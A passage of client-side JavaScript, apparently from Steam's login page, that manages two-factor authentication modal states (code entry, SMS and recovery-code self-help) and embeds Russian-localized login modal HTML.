  914. {
  915. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  916. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  917. }
  918. };
  919.  
  920.  
  921. CLoginPromptManager.prototype.OnUseTwoFactorRecoveryCodeResponse = function( results )
  922. {
  923. if ( results.success )
  924. {
  925. this.SetTwoFactorAuthModalState( 'selfhelp_twofactor_removed' );
  926. }
  927. else if ( results.retry )
  928. {
  929. $J( '#login_twofactorauth_details_selfhelp_rcode_incorrectcode' ).text( results.message );
  930. this.SetTwoFactorAuthModalState( 'selfhelp_rcode_incorrectcode' );
  931. }
  932. else if ( results.exhausted )
  933. {
  934. $J( '#login_twofactorauth_details_selfhelp_rcode_incorrectcode_exhausted' ).text( results.message );
  935. this.SetTwoFactorAuthModalState( 'selfhelp_rcode_incorrectcode_exhausted' );
  936. }
  937. else
  938. {
  939. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  940. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  941. }
  942. };
  943.  
  944.  
  945. CLoginPromptManager.prototype.OnTwoFactorAuthSuccessContinue = function()
  946. {
  947. if ( !this.m_bIsMobile )
  948. {
  949. $J('#login_twofactorauth_buttonsets').children().hide();
  950. $J('#login_twofactorauth_buttonset_waiting').show();
  951. }
  952.  
  953. if ( this.m_bLoginTransferInProgress )
  954. {
  955. this.m_bTwoFactorAuthSuccessfulWantToLeave = true;
  956. }
  957. else
  958. {
  959. this.LoginComplete();
  960. }
  961. };
  962.  
  963. CLoginPromptManager.prototype.SetTwoFactorAuthModalState = function( step )
  964. {
  965. if ( step == 'submit' )
  966. {
  967. $J('#login_twofactor_authcode_entry').hide();
  968. this.SubmitTwoFactorCode();
  969. return;
  970. }
  971. else if ( step == 'success' )
  972. {
  973. this.OnTwoFactorAuthSuccessContinue();
  974. return;
  975. }
  976.  
  977. $J('#login_twofactorauth_messages').children().hide();
  978. $J('#login_twofactorauth_message_' + step ).show();
  979.  
  980. $J('#login_twofactorauth_details_messages').children().hide();
  981. $J('#login_twofactorauth_details_' + step ).show();
  982.  
  983. $J('#login_twofactorauth_buttonsets').children().hide();
  984. $J('#login_twofactorauth_buttonset_' + step ).show();
  985.  
  986. $J('#login_twofactor_authcode_help_supportlink').hide();
  987.  
  988. var icon = 'key';
  989. if ( step == 'entercode' )
  990. {
  991. icon = 'phone';
  992. $J('#login_twofactor_authcode_entry').show();
  993. $J('#twofactorcode_entry').val('');
  994. $J('#login_twofactorauth_message_entercode_accountname').text( this.m_strUsernameEntered );
  995. $J('#twofactorcode_entry').focus();
  996. }
  997. else if ( step == 'incorrectcode' )
  998. {
  999. icon = 'lock';
  1000. $J('#login_twofactor_authcode_entry').show();
  1001. $J('#twofactorcode_entry').val('');
  1002. $J('#twofactorcode_entry').focus();
  1003. }
  1004. else if ( step == 'selfhelp' )
  1005. {
  1006. icon = 'steam';
  1007. $J('#login_twofactor_authcode_entry').hide();
  1008.  
  1009. if ( !this.m_bIsMobileSteamClient
  1010. || this.BIsAndroid() && !this.BIsUserInMobileClientVersionOrNewer( 2, 0, 32 )
  1011. || this.BIsIos() && !this.BIsUserInMobileClientVersionOrNewer( 2, 0, 0 )
  1012. // no version minimum for Windows phones
  1013. )
  1014. {
  1015. $J( '#login_twofactorauth_buttonset_selfhelp div[data-modalstate=selfhelp_sms_reset_start]' ).hide();
  1016. }
  1017. }
  1018. else if ( step == 'selfhelp_sms_remove_start' || step == 'selfhelp_sms_reset_start' )
  1019. {
  1020. icon = 'steam';
  1021. $J('#login_twofactor_authcode_entry').hide();
  1022.  
  1023. $J('#login_twofactorauth_messages').children().hide();
  1024. $J('#login_twofactorauth_details_messages').children().hide();
  1025.  
  1026. $J('#login_twofactorauth_buttonsets').children().hide();
  1027. $J('#login_twofactorauth_buttonset_waiting').show();
  1028.  
  1029. this.m_bTwoFactorReset = (step == 'selfhelp_sms_reset_start');
  1030.  
  1031. $J.post( this.m_strBaseURL + 'getresetoptions/', this.GetParameters( {} ) )
  1032. .done( $J.proxy( this.OnTwoFactorResetOptionsResponse, this ) )
  1033. .fail( $J.proxy( this.OnTwoFactorRecoveryFailure, this ) );
  1034. }
  1035. else if ( step == 'selfhelp_sms_remove' )
  1036. {
  1037. icon = 'steam';
  1038. $J('#login_twofactorauth_selfhelp_sms_remove_last_digits').text( this.m_sPhoneNumberLastDigits );
  1039. }
  1040. else if ( step == 'selfhelp_sms_remove_sendcode' )
  1041. {
  1042. icon = 'steam';
  1043. $J('#login_twofactor_authcode_entry').hide();
  1044.  
  1045. $J('#login_twofactorauth_messages').children().hide();
  1046. $J('#login_twofactorauth_details_messages').children().hide();
  1047.  
  1048. $J('#login_twofactorauth_buttonsets').children().hide();
  1049. $J('#login_twofactorauth_buttonset_waiting').show();
  1050.  
  1051. $J.post( this.m_strBaseURL + 'startremovetwofactor/', this.GetParameters( {} ) )
  1052. .done( $J.proxy( this.OnStartRemoveTwoFactorResponse, this ) )
  1053. .fail( $J.proxy( this.OnTwoFactorRecoveryFailure, this ) );
  1054. }
  1055. else if ( step == 'selfhelp_sms_remove_entercode' )
  1056. {
  1057. $J('#login_twofactorauth_selfhelp_sms_remove_entercode_last_digits').text( this.m_sPhoneNumberLastDigits );
  1058.  
  1059. $J('#login_twofactor_authcode_entry').show();
  1060. $J('#twofactorcode_entry').val('');
  1061. $J('#twofactorcode_entry').focus();
  1062. }
  1063. else if ( step == 'selfhelp_sms_remove_checkcode' )
  1064. {
  1065. $J('#login_twofactor_authcode_entry').hide();
  1066.  
  1067. $J('#login_twofactorauth_messages').children().hide();
  1068. $J('#login_twofactorauth_details_messages').children().hide();
  1069.  
  1070. $J('#login_twofactorauth_buttonsets').children().hide();
  1071. $J('#login_twofactorauth_buttonset_waiting').show();
  1072.  
  1073. // Immediately skip to incorrect code step without actually checking it if the user forgot to enter a code.
  1074. if ( $J('#twofactorcode_entry').val().length == 0 )
  1075. {
  1076. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove_incorrectcode' );
  1077. }
  1078. else
  1079. {
  1080. var rgParameters = {
  1081. smscode: $J( '#twofactorcode_entry' ).val(),
  1082. reset: this.m_bTwoFactorReset ? 1 : 0
  1083. };
  1084.  
  1085. $J.post( this.m_strBaseURL + 'removetwofactor/', this.GetParameters( rgParameters ) )
  1086. .done( $J.proxy( this.OnRemoveTwoFactorResponse, this ) )
  1087. .fail( $J.proxy( this.OnTwoFactorRecoveryFailure, this ) );
  1088. }
  1089. }
  1090. else if ( step == 'selfhelp_sms_remove_incorrectcode' )
  1091. {
  1092. icon = 'lock';
  1093. $J('#login_twofactor_authcode_entry').show();
  1094. $J('#twofactorcode_entry').focus();
  1095. }
  1096. else if ( step == 'selfhelp_twofactor_removed' )
  1097. {
  1098. icon = 'unlock';
  1099. $J('#twofactorcode_entry').val(''); // Make sure the next login doesn't supply a code
  1100. }
  1101. else if ( step == 'selfhelp_twofactor_replaced' )
  1102. {
  1103. icon = 'steam';
  1104. $J('#twofactorcode_entry').val('');
  1105. }
  1106. else if ( step == 'selfhelp_sms_remove_complete' )
  1107. {
  1108. this.m_TwoFactorModal.Dismiss();
  1109. this.m_bInTwoFactorAuthProcess = false;
  1110. this.DoLogin();
  1111. }
  1112. else if ( step == 'selfhelp_nosms' )
  1113. {
  1114. icon = 'steam';
  1115. $J('#login_twofactor_authcode_entry').hide();
  1116. }
  1117. else if ( step == 'selfhelp_rcode' )
  1118. {
  1119. $J('#login_twofactor_authcode_entry').show();
  1120. $J('#twofactorcode_entry').val('');
  1121. $J('#twofactorcode_entry').focus();
  1122. }
  1123. else if ( step == 'selfhelp_rcode_checkcode' )
  1124. {
  1125. $J('#login_twofactor_authcode_entry').hide();
  1126.  
  1127. $J('#login_twofactorauth_messages').children().hide();
  1128. $J('#login_twofactorauth_details_messages').children().hide();
  1129.  
  1130. $J('#login_twofactorauth_buttonsets').children().hide();
  1131. $J('#login_twofactorauth_buttonset_waiting').show();
  1132.  
  1133. // Immediately skip to incorrect code step without actually checking it if the user forgot to enter a code.
  1134. if ( $J('#twofactorcode_entry').val().length == 0 )
  1135. {
  1136. this.SetTwoFactorAuthModalState( 'selfhelp_rcode_incorrectcode' );
  1137. }
  1138. else
  1139. {
  1140. var rgParameters = { rcode: $J( '#twofactorcode_entry' ).val() };
  1141.  
  1142. $J.post( this.m_strBaseURL + 'userecoverycode/', this.GetParameters( rgParameters ) )
  1143. .done( $J.proxy( this.OnUseTwoFactorRecoveryCodeResponse, this ) )
  1144. .fail( $J.proxy( this.OnTwoFactorRecoveryFailure, this ) );
  1145. }
  1146. }
  1147. else if ( step == 'selfhelp_rcode_incorrectcode' )
  1148. {
  1149. icon = 'lock';
  1150. $J('#login_twofactor_authcode_entry').show();
  1151. $J('#twofactorcode_entry').focus();
  1152. }
  1153. else if ( step == 'selfhelp_couldnthelp' )
  1154. {
  1155. icon = 'steam';
  1156. $J('#login_twofactor_authcode_entry').hide();
  1157. }
  1158. else if ( step == 'help' )
  1159. {
  1160. icon = 'steam';
  1161. $J('#login_twofactor_authcode_entry').hide();
  1162. $J('#login_twofactor_authcode_help_supportlink').show();
  1163. }
  1164. else if ( step == 'selfhelp_failure' )
  1165. {
  1166. icon = 'steam';
  1167. }
  1168.  
  1169. if ( this.m_bInTwoFactorAuthProcess && this.m_TwoFactorModal )
  1170. {
  1171. this.m_TwoFactorModal.AdjustSizing();
  1172. }
  1173.  
  1174. $J('#login_twofactorauth_icon').attr( 'class', 'auth_icon auth_icon_' + icon );
  1175. };
  1176.  
  1177. CLoginPromptManager.prototype.SubmitTwoFactorCode = function()
  1178. {
  1179. this.m_sAuthCode = $J('#twofactorcode_entry').val();
  1180.  
  1181.  
  1182. $J('#login_twofactorauth_messages').children().hide();
  1183. $J('#login_twofactorauth_details_messages').children().hide();
  1184.  
  1185. $J('#login_twofactorauth_buttonsets').children().hide();
  1186. $J('#login_twofactorauth_buttonset_waiting').show();
  1187.  
  1188. this.DoLogin();
  1189. };
  1190.  
  1191. CLoginPromptManager.sm_$Modals = null; // static
  1192. CLoginPromptManager.prototype.InitModalContent = function()
  1193. {
  1194.  
  1195. var $modals = $J('#loginModals');
  1196. if ( $modals.length == 0 )
  1197. {
  1198. // This does not work on Android 2.3, nor does creating the DOM node and
  1199. // setting innerHTML without jQuery. So on the mobile login page, we put
  1200. // the modals into the page directly, but not all pages have that.
  1201. CLoginPromptManager.sm_$Modals = $J( "<div id=\"loginModals\">\r\n\t<div class=\"login_modal loginAuthCodeModal\" style=\"display: none\">\r\n\t\t<form data-ajax=\"false\">\r\n\t\t\t<div class=\"auth_message_area\">\r\n\t\t\t\t<div id=\"auth_icon\" class=\"auth_icon auth_icon_key\">\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_messages\" id=\"auth_messages\">\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\u0439\u0442\u0435!<\/div>\r\n\t\t\t\t\t\t<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u0432\u044b \u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u0432\u043e\u0439\u0442\u0438 \u0432 Steam \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u043e\u0439 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0438\u043b\u0438 \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430. \u0418\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043b\u0438 \u0432 \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u2026<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_checkspam\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">\u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c, \u043e\u043d\u043e \u043f\u043e\u043f\u0430\u043b\u043e \u0432 \u0441\u043f\u0430\u043c?<\/div>\r\n\t\t\t\t\t\t<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u043e \u043e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u0435, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043f\u0430\u043f\u043a\u0443 \u0441\u043e \u0441\u043f\u0430\u043c\u043e\u043c.<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_success\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">\u0413\u043e\u0442\u043e\u0432\u043e!<\/div>\r\n\t\t\t\t\t\t<p>\u0412\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0432\u043e\u0435\u043c\u0443 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 Steam.<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">\u041e\u0439!<\/div>\r\n\t\t\t\t\t\t<p>\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, <br>\u043d\u043e \u043e\u043d \u043d\u0435\u0432\u0435\u0440\u0435\u043d...<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_help\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">\u041f\u043e\u0437\u0432\u043e\u043b\u044c\u0442\u0435 \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0430\u043c!<\/div>\r\n\t\t\t\t\t\t<p>\u0421\u043e\u0436\u0430\u043b\u0435\u0435\u043c, \u0447\u0442\u043e \u0432\u044b \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u0435\u0442\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438. \u041c\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u0432\u044b \u0446\u0435\u043d\u0438\u0442\u0435 \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 Steam, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u0435\u043c\u0441\u044f \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443.<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div id=\"auth_details_messages\" class=\"auth_details_messages\">\r\n\t\t\t\t<div class=\"auth_details\" id=\"auth_details_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u0432\u0430\u043c \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u0434\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u044d\u0442\u043e\u043c\u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0443, \u0432\u0432\u0435\u0434\u044f \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043d\u0430 \u0432\u0430\u0448 \u0430\u0434\u0440\u0435\u0441 \u044d\u043b. \u043f\u043e\u0447\u0442\u044b <span id=\"emailauth_entercode_emaildomain\"><\/span>.\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_details\" id=\"auth_details_success\" style=\"display: none;\">\r\n\t\t\t\t\t\u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435 \u0432\u0430\u0448 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u0435\u0440\u0435\u0434 \u0443\u0445\u043e\u0434\u043e\u043c \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0432\u044b\u0439\u0442\u0438 \u0438\u0437 \u0441\u0432\u043e\u0435\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430.\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_details\" id=\"auth_details_help\" style=\"display: none;\">\r\n\t\t\t\t\t\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435\u0441\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 \u2014 \u043d\u0430\u0448\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"authcode_entry_area\">\r\n\t\t\t\t<div id=\"authcode_entry\">\r\n\t\t\t\t\t<div class=\"authcode_entry_box\">\r\n\t\t\t\t\t\t<input class=\"authcode_entry_input authcode_placeholder\" id=\"authcode\" type=\"text\" value=\"\"\r\n\t\t\t\t\t\t\t placeholder=\"\u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u043a\u043e\u0434 \u0437\u0434\u0435\u0441\u044c\">\r\n\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div id=\"authcode_help_supportlink\">\r\n\t\t\t\t\t<a href=\"https:\/\/support.steampowered.com\/kb_article.php?ref=4020-ALZM-5519\" data-ajax=\"false\" data-externallink=\"1\">\u0421\u0432\u044f\u0436\u0438\u0442\u0435\u0441\u044c \u0441\u043e \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam, \u0447\u0442\u043e\u0431\u044b \u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443<\/a>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"modal_buttons\" id=\"auth_buttonsets\">\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t<div data-modalstate=\"submit\" class=\"auth_button leftbtn\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">\u043c\u043e\u0439 \u043a\u043e\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u0430<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div data-modalstate=\"checkspam\" class=\"auth_button\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">\u041a\u0430\u043a\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435?<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u2026<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_checkspam\" style=\"display: none;\">\r\n\t\t\t\t\t<div data-modalstate=\"submit\" class=\"auth_button leftbtn\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">\u041d\u0430\u0448\u0435\u043b!<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">\u0438 \u0432\u0432\u0435\u043b \u043c\u043e\u0439 \u043a\u043e\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432\u044b\u0448\u0435<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div data-modalstate=\"help\" class=\"auth_button\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">\u0414\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043d\u0430\u0448\u0435\u043b...<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u2026<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_success\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_button auth_button_spacer\">\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<a data-modalstate=\"complete\" class=\"auth_button\" id=\"success_continue_btn\" href=\"javascript:void(0);\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a Steam!<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">&nbsp;<br>&nbsp;<\/div>\r\n\t\t\t\t\t<\/a>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div data-modalstate=\"submit\" class=\"auth_button leftbtn\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">\u042f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043a\u043e\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432\u044b\u0448\u0435<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div data-modalstate=\"help\" class=\"auth_button\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">\u041c\u043d\u0435 \u043d\u0443\u0436\u043d\u0430 \u043f\u043e\u043c\u043e\u0449\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam...<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_waiting\" style=\"display: none;\">\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div style=\"\" id=\"auth_details_computer_name\" class=\"auth_details_messages\">\r\n\t\t\t\t\u0427\u0442\u043e\u0431\u044b \u043b\u0435\u0433\u043a\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0441\u0440\u0435\u0434\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 Steam Guard, \u0434\u0430\u0439\u0442\u0435 \u0435\u043c\u0443 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0438\u043c\u044f \u0434\u043b\u0438\u043d\u043e\u0439 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0448\u0435\u0441\u0442\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\t\t\t\t<div id=\"friendly_name_box\" class=\"friendly_name_box\">\r\n\t\t\t\t\t<input class=\"authcode_entry_input authcode_placeholder\" id=\"friendlyname\" type=\"text\"\r\n\t\t\t\t\t\t placeholder=\"\u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\">\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div style=\"display: none;\">\r\n\t\t\t\t<input type=\"submit\">\r\n\t\t\t<\/div>\r\n\t\t<\/form>\r\n\t<\/div>\r\n\r\n\t<div class=\"login_modal loginIPTModal\" style=\"display: none\">\r\n\t\t<div class=\"auth_message_area\">\r\n\t\t\t<div class=\"auth_icon ipt_icon\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_messages\">\r\n\t\t\t\t<div class=\"auth_message\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435<\/div>\r\n\t\t\t\t\t<p>\u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"auth_details_messages\">\r\n\t\t\t<div class=\"auth_details\">\r\n\t\t\t\t\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435\u0441\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 \u2014 \u043d\u0430\u0448\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"authcode_entry_area\">\r\n\t\t<\/div>\r\n\t\t<div class=\"modal_buttons\">\r\n\t\t\t<div class=\"auth_buttonset\" >\r\n\t\t\t\t<a href=\"https:\/\/support.steampowered.com\/kb_article.php?ref=9400-IPAX-9398&auth=e39b5c227cffc8ae65414aba013e5fef\" class=\"auth_button leftbtn\" data-ajax=\"false\" data-externallink=\"1\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u0423\u0437\u043d\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438 Intel\u00ae<\/div>\r\n\t\t\t\t<\/a>\r\n\t\t\t\t<a href=\"https:\/\/support.steampowered.com\" class=\"auth_button\" data-ajax=\"false\" data-externallink=\"1\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u0430 \u043f\u043e\u043c\u043e\u0449\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam\u2026<\/div>\r\n\t\t\t\t<\/a>\r\n\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t<\/div>\r\n\r\n\r\n\r\n\t<div class=\"login_modal loginTwoFactorCodeModal\" style=\"display: 